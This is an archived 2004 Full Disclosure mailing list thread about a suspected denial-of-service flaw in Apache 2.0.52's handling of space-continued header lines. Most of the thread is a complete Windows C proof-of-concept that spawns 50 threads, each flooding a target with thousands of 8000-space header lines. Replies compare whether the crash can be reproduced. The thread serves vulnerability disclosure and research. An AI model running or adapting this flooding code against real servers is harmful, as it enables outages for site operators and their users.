Full Disclosure mailing list archives

Re: DoS in Apache 2.0.52 ?


From: Chintan Trivedi <chesschintan () gmail com>
Date: Mon, 1 Nov 2004 20:16:23 +0530

I had tested first time on vmware image and it had crashed.(Its not
having unnecessary modules installed. )
The other tests which i did was on office mate's machine. That guy is
running  http apache server with (Mandrake Linux/6mdk) mod_ssl
OpenSSL/0.9.7c DAV/2 PHP/4.3.4 Server. His machine had come back to
normal state after long time. But when i had tried 3-4 times in
succession in very short intervals, the machine stopped responding.

I see that IIS 5.1 treats any line containing only <space>  as a blank
line and terminates the connection. Why does apache have to wait till
8K x 8K spaces ?


On Mon, 01 Nov 2004 11:02:20 -0300, Mauro Flores <almauri () cs com uy> wrote:
I made a Linux version of your PoC and attack an Apache 2.0.52 +
Mod_security + Mod_ssl + Mod_proxy and couldn't reproduce the DoS.
50 threads for more than 5 minutes throw Internet (not in the local
network).

Regards, Mauro Flores



On Mon, 2004-11-01 at 06:57, Chintan Trivedi wrote:
Hi,

      I was doing some testing on Apache webserver ver 2.0.52 (unix) and
previous versions. Just found that a special type of request consumes
lot of CPU usage and hangs the webserver. It even hangs other services
like ssh, ftp ..

For Apache 2.0.52 a request like
GET / HTTP/1.0\n
[space] x 8000\n
[space] x 8000\n
[space] x 8000\n
.
.
8000 times

consumes a lot of cpu.

I created 25 threads (connections) and send the above request to one
webserver. After just 2-3 minutes of flooding, the server wasnt able
to fulfill any http requests.  Even ssh and such other services well
also hanged up. The time required for the attack was just maximum 5
minutes.

I am not sure whether it is a valid DoS or not. Replacing the <space>
with any other char will break the connection just after a few
lines(130 or so) of header. Checking the
httpd-2.0.52/server/protocol.c file i see the code for the mime
headers. It checks for the first char of the header. If it is a "space" it
considers it as an extension to the previous line header.  The problem
seems to be similar to the advisory published by Guninsky few weeks
ago -> http://www.guninski.com/httpd1.html thought its a bit
different.  That fix was for the long request field header when the
header line is extended in the next line using space.

Well i guess 8K limit for the number of headers filled with spaces is
quite huge. Its enuf to DoS the server using a few threads.

You can check the attached C file to test it. The file is compiled on
windows system using VC++ 6.0.

-----------------POC----------------------------
///   Apache 2.0.52 and earlier  DoS

#include "stdafx.h"
#include "winsock.h"
#include "string.h"
#include "stdio.h"
#include "windows.h"
#pragma comment(lib,"ws2_32")

DWORD WINAPI attack(LPVOID);
char target[256];

int main(int argc, char* argv[])
{
       int l=0;
       int j;
       DWORD dw;
       HANDLE hd;
       if(argc<2)
       {
               printf("usage: %s target", argv[0]);
               exit(0);
       }

       strncpy(target, argv[1], 256);
       printf("Attaching %s ...\n", target);
       for(j=0;j<50;j++)
               hd=CreateThread(NULL,0, attack, (LPVOID) l , 0, &dw);

       for(j=0;j<50;j++)
               WaitForSingleObject(hd, INFINITE);

       printf ("done");
       return 0;
}

DWORD WINAPI attack(LPVOID l)
{
       int                             s;
       SOCKADDR_IN             sck;
       HOSTENT                 *host;
       char                    buff[256];
       char                    space[8000];
       int                             i;

       WSADATA                 wsadata;

       WSAStartup(MAKEWORD(1,1),&wsadata);

       memset(space, ' ', 8000);
       space[7998]='\n';
       space[7999]='\0';

       if((host=gethostbyname(target))==NULL)
       {
               printf("Host not found");
               return -1;
       }
       sck.sin_family = PF_INET;
       memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length );
       sck.sin_port = htons(80);

       if((s=socket(AF_INET,SOCK_STREAM,0))==-1)
       {
               printf("Socket couldn't be initiallized");
               return -1;
       }
       if((connect(s,(struct sockaddr *)&sck,sizeof(sck))))
       {
               printf("Couldn't connect");
               return -1;
       }

       sprintf(buff, "GET / HTTP/1.0\n");
       //printf("%s",buff);
       int len=strlen(buff);

       if((send(s,buff,len,0))==-1)
       {
               printf ("send error");
               closesocket(s);
               return -1;
       }

       for(i=0;i<9999;i++)
       {

               if((send(s,space,strlen(space),0))==-1)
               {
                       printf("Send Error on header number %d", i);
                       closesocket(s);
                       return -1;
               }

       }
       closesocket(s);
       return 0;
}
------------------------------------------------

_______________________________________________


Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html




_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


Current thread: